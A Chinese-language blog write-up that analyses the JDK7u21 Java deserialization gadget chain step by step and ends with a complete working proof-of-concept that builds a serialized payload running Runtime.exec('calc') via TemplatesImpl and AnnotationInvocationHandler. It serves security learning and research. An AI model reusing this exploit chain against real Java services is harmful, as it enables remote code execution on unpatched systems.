JDK7u21反序列化链分析
0x00前言
前段时间一直忙着HW和重保,Java反序列化的学习也因此搁置了一段时间,现在来学一下非常经典的一条反序列化链——JDK7u21原生链。
0x01版本限制
顾名思义,只能在jdk版本<=jdk7u21的时候,才能使用这条链
0x02反序列化链分析
调用顺序:
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X) //第一次加入恶意Templates对象,会计算一次hash值
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)//代理对象走专门的Impl实现类去计算
String.hashCode() (0)
//构造出hashCode=0,即刻使得代理对象的hash值等于恶意Templates对象的hash值
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()//set中加入代理对象时,就会与前面加入的恶意Templates调用equals
AnnotationInvocationHandler.invoke()//调用代理对象的任何方法都会调用Handler.invoke()
AnnotationInvocationHandler.equalsImpl()//通过if语句走入equalsImpl()
Method.invoke()//遍历所有方法并执行
...
TemplatesImpl.getOutputProperties()//也就会走到getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
通过之前学习过的CC链我们可以知道,在CC链中,有两个类可以当成命令执行的载体:
- org.apache.commons.collections.functors.ChainedTransformer
- org.apache.xalan.xsltc.trax.TemplatesImpl
要想最终达到RCE的目的,通常都是需要调用Runtime.exec
。使用TemplatesImpl
的话需要满足以下几个条件:
- TemplatesImpl类的
_name变量
!=null - TemplatesImpl类的
_class
变量 == null - TemplatesImpl类的
bytecodes
变量!=null _bytecodes
变量存放的就是我们代码执行的类或字节码,恶意代码写在静态方法或构造方法中_bytecodes
中的类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
并重构方法
TemplatesImpl
有四个方法:
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
这其中前两个方法是public属性,后面两个是private属性。
所以我们就需要找到调用了TemplatesImpl.getOutputProperties()
或者TemplatesImpl.newTransformer()
的地方。在ysoserial中已经给出了答案——sun.reflect.annotation.AnnotationInvocationHandler.invoke
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
这里首先是进行了一个判断,member = method.getName();
所以这里如果传入的方法名是equals,且参数的长度=1的时候。便会返回equalsImpl(args[0])
equalsImpl()
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
这里首先判断了,传入的对象是否是type类的实例化对象,然后就会遍历type类的所有方法,并依次调用。只要我们在实例化 AnnotationInvocationHandler 时传⼊ Templates.class,然后equals() 的参数为 type 的实现类。
这样就会自动遍历所有方法并调用,也自然就会去调用TemplatesImpl.getOutputProperties()
现在后续链如何寻找呢?换句话说: 如何找到哪里调用了AnnotationInvocationHandler.invoke
在AnnotationInvocationHandler的开头其实就能看到醒目的注释,他是一个代理类并实现了InvocationHandler接口。
当为某个类或接⼝指定 InvocationHandler 对象时,在调⽤该类或接⼝⽅法时,就会去调⽤指定 handler 的 invoke() ⽅法。因此,当我们使⽤ AnnotationInvocationHandler 创建 proxy object ,那么调⽤的所有⽅法都会变成对 invoke ⽅法的调⽤。
——————Panda
也就是在调用AnnotationInvocationHandler的任意方法时,都会去调用AnnotationInvocationHandler.invoke()
所以我们需要使用AnnotationInvocationHandler创建一个Templates代理对象
,然后调用Templates代理对象
的equals方法,便可以走到equalsImpl(),并且调用TemplatesImpl.getOutputProperties()
现在需要找到一个反序列化的载体,需要满足两个条件:
- 要能够调⽤ proxy 的 equals ⽅法(这是我们刚才分析的)
- 要有反序列化接⼝——要能调⽤ readObject() ⽅法(这样才可以将我们的序列化数据传进去开始反序列化)
ysoserial的作者选择了LinkedHashSet
类,它是HashSet
的子类。在添加到set的元素会保持有序状态。在LinkedHashSet.readObject() 的⽅法中,各个元素被放进HashMap的时候,因为他不允许里面的元素重复,所以肯定会使用equals()进行比较。
HashSet的readObject()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
这里会循环的把set集合中的每一个对象都反序列化了之后,将其put到map中。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
首先判断key是否为空,然后后面的for循环中的if判断,e.hash == hash && ((k = e.key) == key || key.equals(k))
,
如果想要⾛到 key.equals(k)
就必须满⾜ e.hash == hash
并且 k!=e.key
,所以需要key不一样,但是计算的hash是一样的,也就是hash碰撞。key不一样很好判断,因为本身传入的Templates对象就跟代理对象不一样。
跟进一下hash运算的方法
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
这里调用了key.hashCode()
,因为传入的key是templates的代理对象,所以这里调用hashCode()会先去调用AnnotationInvocationHandler
的invoke()
而这里则会调用hashCodeImpl()
继续跟进
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
这里遍历memberValues对象中存储的键值对,当e.getKey().hashCode()=0
时,并且value传入templates。
0在同TemplatesImpl对象的hash值进行异或,得到的结果自然也是TemplatesImpl对象的hash值本身,也就满足了e.hash=hash
。
经过hash碰撞,发现当key=f5a5a608
时,e.getKey().hashCode()=0
public static void bruteHashCode() {
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
0x03POC
package com.le1a.jdk7u21;
import com.le1a.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class Jdk7u21Byle1a {
public static void main(String[] args) throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","le1a");
HashMap<String, Object> memberValues = new HashMap<String, Object>();
memberValues.put("f5a5a608","le1a");
//创建AnnotationInvocationHandler对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, memberValues);
//创建代理对象
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
memberValues.put("f5a5a608",templates);
byte[] bytes = SerializeUtil.serialize(hashSet);
SerializeUtil.unserialize(bytes);
}
}
package com.le1a.util;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class SerializeUtil {
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static byte[] getEvilCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("com.le1a.EvilTest");
byte[] code = clazzz.toBytecode();
return code;
}
public static void unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain);
oin.readObject();
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout);
oout.writeObject(o);
return baout.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
package com.le1a;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTest() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
0x04总结
大概过程:
- 调用代理对象的方法时,会先调用
InvocationHandler.invoke()
- 当调用的方法是
equals()
时,会走到equalsImpl()
,其中会遍历该代理对象的所有方法并调用 - 也就是说当传入的是Templates的代理对象时,会最终走到
TemplatesImpl.getOutputProperties()
,最终走到runtime.exec()
精华的点:
- 使HashSet中传入的两个对象的hash值相等,需要代理对象的
hashCode()
和TemplatesImpl
对象的hashCode()
相同。但是TemplatesImpl
的hashCode()
是个Native()
方法,每次运行都会改变,所以不可控。通过e.getKey().hashCode()=0
达到目的 - 通过将一个恶意Templates对象和一个Templates代理对象放入HashSet。
Set
实际上相当于只存储key、不存储value的Map
。我们经常用Set
用于去除重复元素。因为对象不重复,因此就会涉及到比较,从而调用equals()
0x05参考
知识星球——《代码审计》